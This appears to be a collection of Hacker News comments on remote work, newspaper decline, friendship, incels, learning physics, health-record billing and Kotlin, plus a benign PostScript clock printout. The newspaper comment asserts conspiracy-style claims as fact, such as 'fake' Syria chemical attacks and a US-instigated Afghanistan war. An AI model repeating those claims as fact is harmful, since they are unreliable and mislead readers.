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Kids in US can't read analog clock | print on nearest PS printer:<p><pre><code> %!PS-Adobe-3.0
%%Creator: Toby Thurston
%%Title: (Pages of pedagogical clocks)
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297 480 translate
120
(�lendar%) /IODevice resourcestatus {
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%%Eof</code></pre> |
Ask HN: Work from home (WFH) setup | I've done full remote work from home, and one day a week.<p>Starting with the one day a week: I dedicated a day a week to studying, reading, learning, growing. Anything that required a book. I had a hard time concentrating on the job so I was grateful they let me leave whenever I needed to. Also, the building was walking distance to a joint library cafe. Score!<p>Full work from home / remote:<p>I did 1 and a half years working remote for a startup where I was the only software engineer. Communication was rarely needed, sometimes giving me 5 weeks at a time on my own. I was also local to the company, so if it was ideal to come in to talk with my boss, it was easy to do. I think I came in roughly 8 days in a year and a half.<p>During this time I shared a room with my girl friend. Her desk was next to mine with plenty of space in between us, enough where I couldn't see her monitor without leaning over. She was quiet during work hours, but not like headphone quiet. I'm slightly ADHD so having some background music out of my speakers and/or her having background noise out of her speakers aided my concentration. Also, we kept volumes reasonable so no clashing noise/music or anything like that. Also, if I needed it for any reason, I could ask her to put headphones on.<p>I had room mates who pretty much lived in the living room. They had desks setup behind the couch and had background tv going on seemingly 24/7. It was pretty great, because for lunch or if I needed a break, I could go sit out with them and watch some tv or a movie and just hang out. Likewise, they were pretty chill, so if I was in a thinking on a problem kind of la la land state they never distracted or took away from that, so I'd still get the environment without the distraction.<p>I lived two blocks from a cafe, three from a 7-11, 4 from a trail that would go out to a lake. And it's the SF/Bay Area, so weather is pretty nice all year around, so I could go for a walk any time I wanted.<p>Being at home I did have an exercise routine and a kind of neurological depression slowly kicked in. It wasn't a typical pessimistic kind of depression with a lot of woe, but more like a zombie like state where I wasn't quite aware of what was going on with slowed reflexes. It left me somewhat antisocial. I'd stare blankly at people on the street that would say hi. I ended up taking the dog out for a walk and 30 minutes of walking would clear it right up. It was weird, like walking out of a fog I wasn't aware was there until it was gone.<p>Was it hard or challenging? No. I excel in a work from home kind of environment. The more spacial reasoning a problem requires the harder it is for me to concentrate on it unless I'm in a place comfortable enough for me to close my eyes and feel safe. A cube doesn't do that for me. Anyone can come up and touch my shoulder or look at me or whatever. At home I can jump on my bed, close my eyes and just visualize what I need to, then jot it down. Of course, these kinds of problems are not the only kind of problems, but they're the ones I benefit from the most from being at home. I benefit from studying as well. It's easier to read a text book and concentrate on it. Also, it's way easier to unwind and fall into a diffuse mode of thinking while pondering on a problem at home or walking. I often do this while youtube is playing or while I'm surfing Reddit. The fear of looking like I'm not working keeps me from utilizing this helpful part of the mind in the work place.<p>Working from home does require some skills, but the bar isn't high. It comes down to organizing activities. Every day creating a new schedule is massively helpful. Also, ordering tasks that take the most concentration first in the day is super helpful, because concentration goes down as the day goes by. Organizing space is very important. Having an office helps a lot. If you do not, a clean desk and a separate login for work is a must. This compartmentalizes habits, so impulsive habits usually tied to social networks are minimized if not extinguished. You can even go as far as to block social sites on the work account, then switch over to the recreational account when it is ideal to do so.<p>I like it, and recommend it. Though, the bit about the kids is killer. If you can work and babysit at the same time, you've got a skill. |
How a Newspaper Dies | The many aspects of newspaper readership decline are very neatly summarised on Wikipedia:<p><a href="https://en.wikipedia.org/wiki/Decline_of_newspapers" rel="nofollow">https://en.wikipedia.org/wiki/Decline_of_newspapers</a><p>I grew up delivering newspapers door to door first thing in the morning with yet more newspaper delivering in the afternoon, after school, this one being the local paper. I got to be very good at reading all of them and I was a believer in the product. My papers of choice were the Financial Times and The Guardian. I started out reading the smaller articles at the foot of the page and progressed to reading the big articles at the top of the page.<p>Sometimes a 'child mind' is quite helpful for being objective and seeing things as they are. I was truly shocked at how low the reading age was for the tabloid papers - up to and including the Daily Mail. I also found The Times to be 'faking it', i.e. using big words for the sake of it rather than to convey meaning. I found The Telegraph to be legit but with Tory viewpoint which was fine, you didn't have to read the editorial, if you wanted crime stories they were all there on page 3, the international news was there and the sport, e.g. cricket was pretty good too.<p>There were some howevers, for instance I was quite a fan of F1 at the time so after a race I was reading the reports in all of the papers, I can even remember the writer names. I didn't want to know about just the winners on the podium, the fortunes of the back of the grid guys interested me too, yet the only way I could get a bit of an idea of how they fared was to read all the papers. I still found this lacking.<p>Nowadays if I need to know that level of information I can get so much more and for free, reading blogs and whatnot as well as the BBC overview. There is no way I would consider reading what the newspapers have to say about F1 even if I had access to every newspaper for free, even if online rather than in dead tree format.<p>There was another 'however' - as a child delivering papers I did not think outside of the frame set by the newspapers, so if there was a story on how the British bid to sell tanks to Saudi Arabia hadn't happened then I would 'believe' that this was bad for jobs and the balance of payments - as if that mattered. I was not able to think that 'we' (as in the Royal 'we') should not be selling tanks to the Saudis. The Guardian (never mind the Daily Mail) didn't let my mind stray as far as questioning whether selling these tanks was ethical or outside of the founding charter of the United Nations. I was not given the words to think that.<p>Back then the wars that happened seemed pretty legit. Even the Falklands seemed 'fair'. The war in Afghanistan and the Olympic boycotts that followed all seemed okay.<p>If we had the internet then then I might have been able to find out that the Afghanistan war was instigated by America, funding the terrorists and bringing down a democratically elected government. Much like the F1 situation, the information was just not obtainable, even if you went out to seek it.<p>My grandmother did say that you should not believe what they write in the papers, but the other out there stuff was not there so the default was to believe what the papers said.<p>Nowadays, post Iraq, post the Syria fake chemical attacks and with so many other obvious lies told how is anyone expected to believe the truthiness of the papers? So as well as the many reasons for newspaper decline given in the Wikipedia article is a fundamental problem that means no mainstream newspapers have a core readership of 'fans' - truth. It is just absent from the mainstream news. We as a society are no longer on the same page when it comes to facts.<p>Online blogs do have the '1000 core fans' needed to give them life, the mainstream news does not have that. In the UK the printed newspapers are only read by two groups of people - commuters in tube trains with no WiFi and the old baby boomer generation.<p>I learned how the 'old baby boomer generation' read their papers back in the day of delivering them. They read these things much like how one might eat lots of 'fiber' in one's diet, because it is allegedly good for you. There would be sugar coating in the Sunday magazine supplements, so people would actually be 'licking off the sugar coating' and reading the lifestyle or sport articles rather than the 'news'. So they weren't really reading papers for reasons beyond entertainment. This goes on today, it is the same ritual, something to fill your lazy Sunday afternoon doing. So nobody is reading these papers and even if they are then their thoughts and opinion on current affairs matter not. They have been sheeple-ified into believing the five minutes of hate with no ability to think outside the frame.<p>A lot of 'young people' who don't touch newspapers with a bargepole are not illiterate oafs, chances are they have cut the cord with TV and really do not want to be told what to think anymore. Sadly they get drawn in to fake news and conspiracy stories thanks to Facebook and what the likes of Cambridge Analytica do. So we still have not escaped 'the frame'. We have escaped it enough though for dead-tree newspapers to be as good as dead. |
Are My Friends Really My Friends? | Friendship, as defined in this day and age, is overrated. It's my opinion, for sure. But let me tell you why I feel this way.<p>As the article mentions, Gen Y's idea of socializing is having lots of "friends" that remain as such because of technological ties, and chatting through IM and photo sharing. The problem with this form of socializing, for me, is that much of it is a result of everyone's ulterior motive to look good and obtain social validation. In all honesty, I haven't proven to be a very likable person, but I hesitate to have people add me as a "friend" on social media because next thing I know they're going to include group photos of me in order to covertly signal "I have so much fun and so many friends! Look at me! Look at me!" Worse yet, they'll feel <i>that</i> much better that I'm going to add reactions to their banal postings, making them feel like everything they have to say is socially approved of.<p>It's all gross.<p>By the by, I've learned that I can go very long periods of time without being around friends(I'm talking months) and, well, I don't die. In fact, I'm pretty happy that I can spend time doing what I want without being hounded to go see X movie or hang out at Y place. Those things can be good here and there, but they're not all life is about. Friends also tend to bring drama that brings nothing to my life; most drama is hyperbole and people bring it upon themselves. Those same drama-friends inevitably ask for advice, but not because they actually want help, but because they want you to <i>validate</i> the decision they've already made.<p>I've had my periods in life where I felt terrible for having few or no friends. There is definitely a downside, especially when you're younger. But the pursuit of friends is a sign that a person is lacking self-esteem, and perhaps confidence in the one or two friends they already have. As I've gotten older, having friends for reasons other than just the simplicity of having someone to shoot the shit with on occasion has fallen by the wayside. Just as I've given up with the futile pursuit of working my ass off for the lie that working hard is a virtue in and of itself, and as I've given up on trying to pursue the illusion of salvation provided by relationships, I just don't even care anymore about maintaining friends or social circles.<p>Yeah, it'd be one thing if I was literally alone for a very long time. But it would actually take effort to be truly alone, I gather, for most people. No matter where I've been, or how old I am, someone eventually manages to enter my life and become more than just an acquaintance. We can chat it up on a regular basis, and usually have enough familiarity that we know we can count on each other for small things. It just seems to work out that way, and that accounts for most of what I need out of people; I don't need to share every moment of my waking being with them. Some people have got it tough, and I've known some people who have real issues that hinder them in making even basic connections with people. But, for the average person, I think they'd be surprised to still manage to make friends even if they permanently turned off all their devices.<p>I do have a best friend, and that is something special. We rarely see each other anymore, but that's where confidence comes in. He and I have known each other for long enough that, no matter what, we're always going to be friends. If work gets in the way that means we won't see or even talk to each other for months or years, it's like no time has passed when we do get to meet again. We don't fret about these things because life really does move on whether we are in the same room or not.<p>As great as that friendship is, I would function very much the same without it. I hope it doesn't hurt my friend to read this if he ever does, although I'm almost positive he would have guessed that of me, and I think he's much the same. I've learned to be content enough with my own being, my own thoughts, that the need for other people has been greatly diminished. I'm sure some of that is simply a function of getting older, having had enough experiences, and having one's hormones become increasingly scant.<p>Your friends are what you make of them, and I don't think a lot of people's ideas of what makes a friend is worth as much as social media has made it appear. It's really fine to simply accept that friendship can and usually does have a very low bar, thus, if your friendships seem transient, it's just a function of average people socializing with other average people, and gradually meeting better people over time. Being content in your being and valuing yourself means that this question of "Are my friends really my friends?" isn't all that important. |
Male Sexlessness Is Rising, but Not for the Reasons Incels Claim | I don't buy it. This article reduces the whole issue down to delayed marriage, which seems overly simplified and correlative.<p>> The rise of young male sexlessness isn’t about Chads and Stacies; it isn’t primarily about Tinder or Bumble; it’s not mostly about attitudinal shifts in what women want from relationships; and it’s not mainly about some new war between the sexes. It’s mostly about people spending more years in school and spending more years living at home. But that’s not actually a story about some change in sexual politics; instead, it’s a story about the modern knowledge economy, and to some extent exorbitant housing costs. As such, it’s no surprise that rising sexlessness is being observed in many countries.<p>My experience doesn't tell me that living at home has that significant of an impact on whether a person gets to have sex. Perhaps once one gets to a certain age; past 26, it's kind of pathetic IMO. But if people are living at home longer across the board, I would expect more of those people would find each other. My experience in knowing people who have taken a while to get married tells me they do so in order to save up for the wedding. I don't think it has very much to do with causing involuntary celibacy.<p>Maybe there's some aspect of the article I'm missing. What I'm not missing is the author's snotty attitude, which should make anyone suspicious of their motives:<p>> Many incels quote a rule of thumb that 20% of men have 80% of the sex. Is this true? It turns out, the answer is no. And of course, it isn’t!<p><i>Of course</i> it isn't, silly reader!<p>Outspoken incels might be wrong about some of their claims, but that doesn't meant that there isn't <i>something</i> to what they're saying. Just as I wouldn't claim that a person who claims to have seen heaven while almost dying on a hospital table, I wouldn't claim that incels aren't experiencing alienation from the opposite sex. Instead of concluding that incels in general are "woman hating terrorists", it's a better idea to keep a level head and try to figure out exactly what's going on here with a modicum of compassion.<p>Are incels "woman haters"? I don't buy it. As online communities for incels are essentially support groups for frustrated people, yes, <i>of course</i> you're going to read a lot of nasty things about women written by incels. Does that mean that an incel isn't immediately going to turn the other cheek as soon as a woman shows them genuine affection? I don't think so. I think these are men who genuinely want the affection and companionship of women.<p>If incels are terrorists because of a very, very small minority, then I guess all Catholics are pedophiles. Right? Riiiiight?<p>You might be thinking that I am indeed an incel. No, not by a long shot. But I can see where a lot of them are coming from. Years ago, online dating really wasn't all that difficult, and I'm not particularly good-looking either. I do think that there's an amalgam of societal changes that have been affecting all sides, and it can't be reduced to a lack of marriage.<p>Let me be clear, these are my <i>opinions</i> based on my <i>experience</i>. Your results may vary.<p>By 2016, online dating had become much less fun in general and a lot more work. I don't think a lot of people, especially people who found partners early on, just how much effort it takes for a guy to date women online. The effort is monumental, especially when you don't have much in the looks department. Not only that, but you've got to fight off the hundreds or thousands of other penises that slither towards women as soon as they log in to these platforms. 99% of your messages will ever be read or replied to. It takes hours out of your life and is demoralizing. If this lasts for months or years, it's damaging to how you view yourself. I personally gave up on that game because women really demand a lot from men but return very little, in my <i>opinion</i>. It does work out for some people, but I know I'm not the only person who realized that eventually you've got better things to do than to prove yourself to people who have no interest in your approval of them. I harbor no hatred of women, it's just that I increasingly don't seem to be a good mate for them and vise versa.<p>It seems to me that attitudes have changed quite a bit between the sexes. Men of my generation, in <i>my experience</i>, grew up being told lots of fanciful things about women, possibly much more so than previous generations(but I can't be sure). Sugar and spice was just the beginning of that; I recall many times in my life when authority figures told me that the world would be a better place if only women were in charge of anything. Disney movies made men look fallible, while the women were misunderstood sweethearts who are the prize at the end of the tunnel after you fight off the dragon, the monster, or the bad guys. A lot of boys grow up to subliminally believe that women are their salvation and that, if only they could just meet <i>that one</i> girl, their lives can finally get on track. Of course this isn't true as a rule since women are mere human beings. In contrast, women get different messages about what a man should be, and they are just as unrealistic as the messages told to men about women.<p>Of course, those things aren't necessarily new, but I think they're heightened. What's different is women's roles in society have changed drastically, and that's going to effect their preferences. In <i>my experience</i>, women simply don't need men(they'll even attest to this) more than ever, and there's a lot of media telling them that "they're worth it" even if they don't change who they are, so they quite logically try to shoot the moon and only settle with the man that they are most attracted to that they can get. Men of utility simply need not apply. Ugly men of the past could more easily pass on their genes because of their utility. Again, I am not <i>blaming</i> women. I would likely do the same thing if I were a woman.<p>Moreover, a woman can get support and validation from so many more avenues than they used to. Validation regularly comes in through social media reactions(let's be honest, most women can get validation every day by posting innocuous photos and men ultimately enable this), and support can easily asked for, bought, or begged from by the government. As I said, the man who is a mere utility need not apply.<p>What I've observed of the people in my generation who are getting married is that women are often marrying what I would refer to as the "adorkable dude-bro" who really isn't a bad guy by any means, but he has essentially taken on the gender role once held by women, albeit in a more bumbling way. He probably doesn't work, or if he does his work makes him peanuts. He's good looking, charming, has excellent social skills, funny, etc. The fact that he only works 4 hours a day at most means she's never going to think he's "working too much". It doesn't matter that he can't do a single useful thing beyond making grilled cheese, because is wife or girlfriend loves him entirely for the things he is rather than the things he does.<p>Need I repeat that this is my <i>experience</i> and not necessarily reflective of everyone's reality? Everybody got that? Good!<p>Clearly, not all guys can be that adorkable dude-bro. I'll never be that guy because I'm not charismatic, not particularly attractive, I'm highly analytical, and I spend a lot of my time writing software and not much of it in leisure. The reality is that I am not the preference of the vast majority of women in my generation, and even though I can and do have sex, spending inordinate amounts of time trying to build relationships with women has become tiresome and unrealistic. I certainly don't want to <i>play</i> the adorkable dude-bro to please women.<p>A some men who are not as good looking as I am(and trust me, I'm on the low-end) are basically screwed. Worse yet, there are hundreds of companies preying on their insecurities, telling them that if they learn some behavioral techniques, the ladies will "drop their panties." Once they figure out that "game" is a giant scam, or they figure out that sex-alone is dissatisfying, they <i>rightfully</i> get pissed off. Wouldn't you be extremely upset if what you most wanted out of life seemed unobtainable no matter what you did? You'd probably think the system was rigged against you, too. Hell, you'd be even more enraged if your lack of something put you on the lowest rung of society; both men and women will cackle at you for not getting laid.<p>So no, I'm not absolving incels of any specific wrongdoings. But being dismissive is not a solution, and blaming the marriage rate doesn't seem realistic. The fact that any modestly-sized group of people are perceiving the modern world as being unfair to them should be alarming for a multitude of reasons.<p>TL;DR My experience makes me distrust the author's conclusion, and <i>my experience</i> is not necessarily reflective of reality. Thus, my <i>opinion</i> is something to be taken with a big chunk of rock salt. |
Ask HN: How do I learn math/physics in my thirties? | Music:<p>Get a piano, look up the basics of how to read music, find the keys on the piano, see my post on music theory and the Bach cello piece, get a recording of some relatively simple music you do like, get the sheet music, and note by note learn to play it. After 3-4 such pieces, get an hour of piano instruction and continue on.<p>Violin: Much the same except need more help at the start. From my music theory post, learn how to tune a violin. Get a good shoulder rest -- the most popular is, IIRC, from Sweden and is excellent. Look at images of violinists and see what rests they are using. Get Ivan Galamian's book on violin. Start in the key of A major and then branch out to E major and D major. Get some good advice on how to hold the violin and the bow; look at pictures of Heifetz, etc. Learn some scales and some simple pieces, get some lessons, and continue.<p>Math: High school 1st and 2nd year algebra, plane geometry (with proofs), trigonometry, and hopefully also solid geometry. Standard analytic geometry and calculus of one variable.<p>For calculus of several variables and vector analysis, I strongly recommend<p>Tom M.\ Apostol,
{\it Mathematical Analysis:
A Modern Approach to Advanced Calculus,\/}
Addison-Wesley,
Reading, Massachusetts,
1957.\ \<p>Get a used copy -- I did. Actually, it's not "modern" and instead is close to what you will see and need in applications in physics and engineering. There, relax any desire for really careful proofs; really careful proofs with high generality are too hard, and the generality is nearly never even relevant in applications so far. Maybe do the material again if want to do quantum gravity at the center of black holes or some such; otherwise, just stay with what Apostol has. For <i>exterior algebra of differential forms</i>, try hard enough to be successful ignoring that stuff unless you later insist on high end approaches to differential geometry and relativity theory.<p>Linear algebra, done at least twice and more likely several times. Start with a really easy book that starts with just Gauss elimination for systems of linear equations -- actually a huge fraction of the whole subject builds on just that, and that is close to dirt simple once you <i>see it</i>.<p>Continue with an intermediate text. I used E. Nearing, student of Artin at Princeton. Nearing was good but had a bit too much, and his appendix on linear programming was curious but otherwise awful -- linear programming can be made dirt simple, mostly just Gauss elimination tweaked a little.<p>Mostly you want linear algebra over just the real or complex numbers, but nearly all the subject can also be done over any <i>algebraic field</i> -- Nearing does this. Actually, might laugh at linear algebra done over finite fields, but the laughter is not really justified: E.g., algebraic coding theory, e.g., R. Hamming, used finite fields. But if you just stay with the real and complex numbers, likely you will be fine and can go back to Nearing or some such later if wish.<p>So, concentrate on eigen values and eigen vectors, the standard inner product, orthogonality, the Gram-Schmidt process, orthogonal, unitary, symmetric, and Hermitian matrices. The mountain peak is the polar decomposition and then singular value decomposition, etc. Start to make the connections with convexity and the normal equations in multi-variate statistics, principle components, factor analysis, data compression, etc.<p>Then, of course, go for P. Halmos, <i>Finite Dimensional Vector Spaces</i>, grand stuff, written as an introduction to Hilbert space theory at the knee of von Neumann. Used in Harvard's Math 55. Commonly given to physics students as their source on Hilbert space for quantum mechanics. Likely save the chapter on multi-linear algebra for later!<p>For more, get into numerical methods and applications. You can do linear programming, non-linear programming, group representation theory, multi-variate Newton iteration, differential geometry. Do look at W. Fleming, <i>Functions of Several Variables</i> and there the inverse and implicit function theorems and their applications to Lagrange multipliers and the eigenvalues of symmetric or Hermitian matrices. The inverse and implicit function theorems are just local, non-linear versions of what you will see with total clarity at the end of applying Gauss elimination in the linear case.<p>Physics<p>Work through a famous text of freshman physics and then one or more of the relatively elementary books on E&M and Maxwell's equations. Don't get stuck: Physics people commonly do math in really obscure ways; mostly they are thinking intuitively; generally you can just set aside after a first reading what they write, lean back, think a little about what they likely really do mean, derive a little, and THEN actually understand. E.g., in changing the coordinates of the gradient of a function, that's not what they are doing! Instead they are getting the gradient of a surface, NOT the function, as the change the coordinates of the surface. They are thinking about the surface, not the function of the surface in rectangular coordinates.<p>For more than that, you will have to start to specialize. Currently a biggie is a lot in probability theory. There the crown jewels are the classic limit theorems, that is, when faced with a lot of randomness, can make the randomness go away and also say a lot about it.<p>For modern probability, that is based on the 1900 or so approach to the integral of calculus, the approach due to H. Lebesgue and called <i>measure theory</i>. In the simple cases, it's just the same, gives the same numerical values for, the integral of freshman calculus but otherwise is much more powerful and general. One result of the generality is that it gives, via A. Kolomogorov in 1933, the currently accepted approach to advanced probability, stochastic processes, and statistics.<p>That's a start. |
Ask HN: How do I learn math/physics in my thirties? | First up, I am no expert, but I have traveled this road for a while so I'll share a bit.
I see Susskind's theoretical minimum is plugged here. Good. That is a fantastic place to start. Start at the beginning. Skip nothing.<p>Leverage what you know against what you don't. You remember how to find an extremum of a function from Cal 1? The first order necessary condition for an extreme point is that the derivative of the function be zero. Remember that when you get to (deterministic) optimization and a gradient needs to be zero. Next with a constrained optimization you will see the reformulation of an objective function and constraints into one functional by using new variables (Lagrange "multipliers") so that when the gradient of this new functional is zero, not only are you somewhere in the intersection of the constraints and the objective, but you also meet the first order conditions necessary for an extremum to be found. (Second order sufficiency conditions (SOSC) are needed to show that you aren't instead at an inflection point but we are moving fast and breaking things)<p>Hmm, I didn't say that very well, but there is much intuition to be found in optimization problems. This will serve you well in physics.<p>Calculus of variations: Nail down cold how to derive the Euler Lagrange Equations for a functional. Hint, Apply the FONC (first order necessary conditions for an extremum) to the functional (now the Action) in question. See Lanczos "Calculus of Variations" (Dover Books) to sort out your initial questions and learn the smooth little trick with integration by parts. Susskind's first book comes in here.<p>Learn cold the integral of the Gaussian distribution and how to play around with it to find more complicated integrals.
Orthogonality. Dot products and Fourier transforms have a lot in common! Fourier's trick is crucial. Oh man... have you got some fun in store here. Do not proceed to Quantum mechanics without having these tools at your disposal.
Otherwise QM is just linear algebra over complex numbers together with complex amplitudes from circuits/naval architecture/ spring mass dampers in the frequency domain.
(I mention all of these to raise awareness that complex amplitudes are not unique to QM)
Supplement Susskind's second book with Griffiths intro QM book. Also see Griffeths E&M book for a great explanation of Fourier's trick and separation of variables in the chapter on special techniques... At least in the 1999 Third edition. (beware, it falls apart under little abuse!)
Oh, and pick up the power series methods for solving tricky differential equations - don't learn it from the physicists. Learn it from "advanced differential equations materials". It's not bad in isolation - soon you will be computing recusion relations and bessel functions.<p>Soon it will be time to start thinking about field theory. A side quest is available if you want to get into fluid dynamics. Incidentally this is a great way to learn about uses for Green's functions... And if you dive deep, your first look at singular integral equations in field theory.
But we will proceed dead ahead... to the book reviews (you will need more than one book):<p><a href="https://fliptomato.wordpress.com/2006/12/30/from-griffiths-to-peskin-a-lit-review-for-beginners/" rel="nofollow">https://fliptomato.wordpress.com/2006/12/30/from-griffiths-t...</a><p><a href="https://www.susanjfowler.com/blog/2016/8/13/so-you-want-to-learn-physics" rel="nofollow">https://www.susanjfowler.com/blog/2016/8/13/so-you-want-to-l...</a><p>Somebody else plugged 't Hooft here
<a href="http://www.goodtheorist.science/" rel="nofollow">http://www.goodtheorist.science/</a>
But there it is again.
Now is a good time to speak of renormalization: There is an intro book out there:
<a href="https://www.amazon.com/Renormalization-Methods-William-David-McComb/dp/0199236526" rel="nofollow">https://www.amazon.com/Renormalization-Methods-William-David...</a><p>It's okay but I have yet to derive more utility from it than from various field theory books. Oh and studying complex singular integrals in isolation is good too. Generally have some experience with contour integration around singularities.<p>See Sydney Coleman on symmetry breaking. (Man in the magnet, flip the sign of a term in your potential to get a mexican hat, see that the ground state is now different etc.)<p>There are tons of free resources out there for learning QFT. Use many sources. Expect to get stuck with any one of them. Bounce between them to un-stick.<p>Next up, differential geometry, tensors, and GR.... Google is your friend. I like Schutz's "a first course in general relativity" and really like Zee's Einstein Gravity book but I am working into this now and so my recommendations are running out. Check out this video as an intro to GR:
<a href="https://www.youtube.com/watch?v=foRPKAKZWx8" rel="nofollow">https://www.youtube.com/watch?v=foRPKAKZWx8</a><p>To be inspired/get prepared for things to come get John Baez's Gauge-Knots_Gravity book: <a href="https://www.amazon.com/GAUGE-FIELDS-KNOTS-GRAVITY-Everything/dp/9810220340" rel="nofollow">https://www.amazon.com/GAUGE-FIELDS-KNOTS-GRAVITY-Everything...</a> and maybe Penrose's Road to Reality - which is like cosmology if the universe consisted of all the math and physics needed to understand all this math and physics. Baez's book probably has more exercises and is more focused in general. Stuff like this will help you see where more advanced mathematics comes in. By now you will be seeing manifolds and fibre bundles. Think of parameterizing a surface instead of a curve and see how a tangent bundle describes a whole new vector space - one vector space for every point in the manifold. Yang Mills... internal symmetry... ok I'd love to talk about how these are new expressions of ideas we've seen before but at some point up there we've passed my pay grade, I have to beg off until I can learn some more! |
What we lose with data-driven medicine | Some thoughts on why the system is broken.
1) The ONC certification process. (<a href="https://www.healthit.gov/topic/certification-ehrs/about-onc-health-it-certification-program" rel="nofollow">https://www.healthit.gov/topic/certification-ehrs/about-onc-...</a>). It is way too complex to explain here, but it started with the incentive program CMS established in 2011 to push doctors to electronic health care records. Like a lot of CMS programs, the intention was there, but so was the opportunity for fraud and abuse. I can't remember the exact numbers, but the amount of certified EHR vendors dropped dramatically between the 2011 and 2014 certifications. The next round (currently 2017 stage 3) will further reduce that number. The 2014 round of certification definitely weeded out a lot of crappy EHR systems that were thrown together and sold to clinics. The problem now is twofold. First, it's becoming so burdensome and expensive to keep an EHR system certified, that only the well-financed (EPIC, Cerner, etc.) can afford to stay in the game. Second, it's extremely expensive for a clinic/hospital to switch EHR systems. Even if you have developed the most amazing EHR system known to man, getting a big hospital or clinic group to switch systems again will be next to impossible.
2) CQM and PQRS/Meaningful Use reporting. It's complicated, time consuming, and expensive. Prior to 2017, doctors were required to report to two different systems PQRS and CQM, both administered by CMS. PQRS has since been replaced by MIPS. Measures that appear to be identical between the two systems (i.e. CMS 69 and PQRS 128) sometimes have slightly different parameters. The measures themselves have versions and can change year to year. The entire system puts a huge financial burden on doctors. I get the intent. It’s the implementation that sucks.
3) Imagine if, on your job, you had to use a system of 70,000 different codes to identify each and every thing you did at work, and you had to justify each and every thing you did with up to 6 different reasons (out of a possible 70,000 reasons), and you had to submit this report each and every day, and if you made any mistakes, or if your reasons weren’t sufficient to justify your work, you didn’t get paid, and you then had to file an appeal to fight it, and it might be several months before you finally got paid. That’s the health care claim system. With the adoption of ICD-10 in 2015, the number of available diagnosis codes went from ~14k to ~70k. The number of Procedure codes went from ~4k to over 70k. If you’re into data analytics you probably had an orgasm. If you are a doctor, trying to get a heath care claim paid, your life got a lot worse. Does it really matter whether a patient got hurt because of a collision with a roller skater (ICD-10 V00.01). Guess what? Your doctor doesn’t get paid if he uses ICD-10 code V00.01. That’s because he has to indicate whether the collision was an initial (V00.01XA), subsequent (V00.01XD), or sequela (V00.01XS). The more complex the system, the more ways insurers can deny claims. It’s easy to get frustrated because your doctor/nurse spends all their time staring at their tablet/laptop clicking away instead of talking to you. Don’t get mad at them. It wasn’t their idea.
To the people who are quick to paint the doctors as greedy, overpaid clerks who can and should be replaced by computer and AI, read this <a href="https://www.nytimes.com/2018/05/18/opinion/artificial-intelligence-challenges.html" rel="nofollow">https://www.nytimes.com/2018/05/18/opinion/artificial-intell...</a> . Keep on dreaming about your Elysium/Expanse fantasy where patients are hooked up to a machine and diagnosed/cured. It’s not happening now, it’s not going to happen any time soon. In the meantime, the most effective way for a doctor to treat a patient is to look at the patient, talk to the patient. It’s not reading tea leaves. There are subtle, non-verbal cues that are impossible to pick up if a doctor has his back to you because he/she is forced into a clerical role (see points 1,2,3 above). We are decades away from a computer and AI being able to do this. I hope I am wrong. I watch the Expanse too but it is just science fiction, the key word being fiction.<p>To the commenters claiming “scribes” can do this. It’s just not that easy. I was involved in developing a scribe system. It worked for a couple doctors. We thought we had the next big thing. The doctors were able to go in and actually talk to and look at the patient while a scribe sat in another room and listened to the conversation and watched a mirror of the doctor’s tablet (all with patients consent). By the time the doctor left the exam room, the progress notes were completed and prescriptions, follow-ups etc. were ready for order. The doctor just had to review and complete. System was great. Doctors were able to go home at a decent hour instead of spending 2 hours in the evening going over each patients encounter. When we tried to expand it failed. In hindsight it was easy to understand why. The scribes we initially used were CAs who had been working with these doctors for years and they could pick up on subtle verbal cues generating complete encounter notes just based on a few comments. In our experiment, it just didn’t work once we brought in scribes who had never worked with or around the doctors. I’m sure there’s a way to make this work and hopefully someone will one day. It would be nice to have a conversation with my doctor again.
Anyway, just some thoughts. I see a lot of posts in here discounting the article and claiming the world is ready for computers to replace doctors, and it’s just the greed/ignorance of doctors holding us back. If you’re ready to put your life in the hands of AI and computers, I wish you the best of luck. I just want a system where doctors can actually be doctors again. The greedy people in our health care system don’t wear white coats. They run around with titles like “Hospital Administrator”, “Pharmaceutical Rep”, “Health Care Lobbyist”, “Senator/Congressperson” and “Insurer”. |
From Java to Kotlin and Back Again | A comment I posted on that blog post, that likes to keep going to spam box.<p>1. <i>Name shadowing</i> is a compiler warning. It is good to pay attention and clear all warnings by resolving the issues. It isn't a secret when you name shadow, and a developer I would hope would pay enough attention to not do it on accident. I've used Kotlin since 2013 and don't think I've shadowed a name even one time on accident. There is an issue in the Kotlin tracker to allow turning specific warnings into errors, this would give you the behaviour you want once added.<p>2. <i>Kotlin type inference is the best</i> out there, nothing compares in accuracy and scope. You aren't getting the same thing from Java 10 that Kotlin has by far.<p>3. <i>Compile time null safety is accurate</i> from Java libraries if they inform as to their null safety, for example there are many libraries that use `@NotNull ` and `@Nullable ` annotations and Kotlin respects and enforces those. They also handle this for JDK calls so that all standard library calls are correctly interpreted. You can fix your own custom Java libraries which also helps with Java static analysis. And eventually you'll use more and more calls to your own Kotlin code or to Kotlin libraries and you'll really be glad all of this null safety is there and part of the compiler.<p>4. <i>Class literals are many times not used in Kotlin API design</i>. Instead you as an API designer would just write an extension function that reifies the generic parameter and auto infers the class literal. Or you can do it yourself to extend any API you wish. You will only do that once and then enjoy the magic a thousand times after. There are actually modules for things like Jackson and GSON that do this already. So then the syntax is better than the Java because you don't have that parameter at all (which is type erased whereas reifying the full generic type is not). Here is an example of Java vs. Kotlin using Jackson object mapper in the same use case you were demonstrating:<p>Java:<p><pre><code> final MyStateObject state = mapper.readValue(json, MyStateObject.class) // type erased, which sometimes is ok
final List<MyStateObject> states = mapper.readValue(json, new TypeReference<List<MyStateObject>>()); // not type erased
</code></pre>
Kotlin:<p><pre><code> val state: MyStateObject = mapper.readValue(json) // not type erased
val states: List<MyStateObject> = mapper.readValue(json) // not type erased
</code></pre>
Alternative Kotlin:<p><pre><code> val state = mapper.readValue<MyStateObject>(json) // not type erased
val states = mapper.readValue<List<MyStateObject>>(json) // not type erased
</code></pre>
